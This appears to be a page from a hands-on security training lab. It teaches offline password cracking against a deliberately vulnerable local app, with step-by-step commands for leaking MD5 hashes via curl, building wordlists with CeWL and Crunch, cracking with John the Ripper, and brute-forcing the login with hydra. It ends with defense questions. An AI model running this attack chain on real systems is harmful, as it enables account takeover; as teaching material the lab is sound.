โ† All modules

๐Ÿ”“ Brute Force & Dictionary Attacks

Recover plaintext passwords from leaked MD5 hashes using CeWL (custom wordlists), Crunch (generated candidates) and John the Ripper.

Run it

Each step runs the real tool in the lab and streams output below.

1 ยท Leak the hash dump from the target

Download the exposed DB backup and extract user:hash pairs into shared/loot/leaked.txt.

2a ยท Build a custom wordlist (CeWL)

Spider the target site, harvesting words of length โ‰ฅ min into shared/wordlists/certidict.txt.

2b ยท Generate candidates (Crunch)

Generate every combination from a character set, length min..max, into shared/wordlists/dictionary.txt.

3 ยท Crack with John the Ripper (Raw-MD5)

Run John against a chosen hash file with a chosen wordlist, then show what cracked.

Module 01 โ€” Brute Force & Dictionary Attacks

Goal: take a dump of leaked password hashes and recover the plaintext passwords by guessing โ€” first with smart wordlists, then by generating candidates. Students learn why weak, guessable, unsalted passwords fall in seconds, and what actually stops the attack.

Time 45โ€“60 min
Target Nebula Dynamics web app (/backup.sql leaks the hashes)
Tools CeWL, Crunch, John the Ripper
Prereq Lab running (make target) + toolbox shell (make toolbox)

The idea

A password hash can't be "decrypted". Instead the attacker hashes guesses with the same algorithm and compares. The whole game is generating good guesses:

The target stores passwords as unsalted Raw-MD5, which is exactly what makes this fast.

The seeded accounts (what should fall, and how)

User Password Falls to
alice password1 rockyou (dictionary)
bob sunshine rockyou
frank letmein rockyou
carol nebula CeWL โ€” the word is on the website
dave orbital CeWL โ€” the word is on the website
erin satin Crunch 1 6 tasnim (only letters t,a,s,n,i,m)
admin Tr0ub4dor&3 nothing here โ€” long + mixed; the teaching point

Walkthrough

Step 0 โ€” start the lab

make target        # start the victim  (http://localhost:8080)
make toolbox       # drop into the attacker shell
cd /lab

Step 1 โ€” get the hashes (simulated leak)

In a real engagement you'd get these from SQL injection, a DB backup, etc. Here the app leaves a backup exposed:

curl -s http://target:5000/backup.sql

Pull out user:hash pairs into a file John can read:

curl -s http://target:5000/backup.sql \
  | grep -oE "'[a-z]+', '[0-9a-f]{32}'" | tr -d "'" | sed 's/, /:/' \
  > shared/loot/leaked.txt
cat shared/loot/leaked.txt

No target handy? A shipped copy lives at shared/hashes/leaked_hashes.txt.

Step 2 โ€” build wordlists

CeWL โ€” spider the site for custom words (this is your example, pointed at our local target instead of a live site):

cewl -d 2 -m 6 -w shared/wordlists/certidict.txt http://target:5000/
#     ^depth  ^min word length   ^output
head shared/wordlists/certidict.txt     # should contain: nebula, orbital, stardust, ...

Crunch โ€” generate candidates from a character set (your example):

crunch 1 6 tasnim -o shared/wordlists/dictionary.txt
#      ^min ^max  ^charset(t,a,s,n,i,m)   -> every combo up to 6 chars
wc -l shared/wordlists/dictionary.txt

Step 3 โ€” crack with John the Ripper

Your exact commands, against the leaked file:

# dictionary attack with the big leaked-password list
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 shared/loot/leaked.txt

# custom list from CeWL
john --wordlist=shared/wordlists/certidict.txt --format=Raw-MD5 shared/loot/leaked.txt

# generated list from Crunch
john --wordlist=shared/wordlists/dictionary.txt --format=Raw-MD5 shared/loot/leaked.txt

Show everything cracked so far:

john --show --format=Raw-MD5 shared/loot/leaked.txt

Step 4 โ€” use the cracked creds

Log in at http://localhost:8080/login as e.g. carol / nebula and grab the flag on the dashboard. The attack chain is complete: leak โ†’ crack โ†’ log in.

One-shot

Everything above, scripted:

bash modules/01-brute-force/demo.sh

Online vs offline

What you just did is an offline attack (you had the hashes). You can also brute force the login form directly โ€” an online attack โ€” because this app has no rate limiting or lockout:

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

Online is far slower and noisy (every try is a request); offline cracking is why a hash leak is a breach.

Defenses (discuss after the exercise)

Checks for understanding

  1. Why did admin survive when alice fell instantly?
  2. Why is CeWL often better than a giant generic list for a specific company?
  3. Estimate the Crunch keyspace for 1 6 over a 26-letter charset. Why doesn't pure brute force scale to real passwords?
  4. What single change to the storage would have made this whole module fail?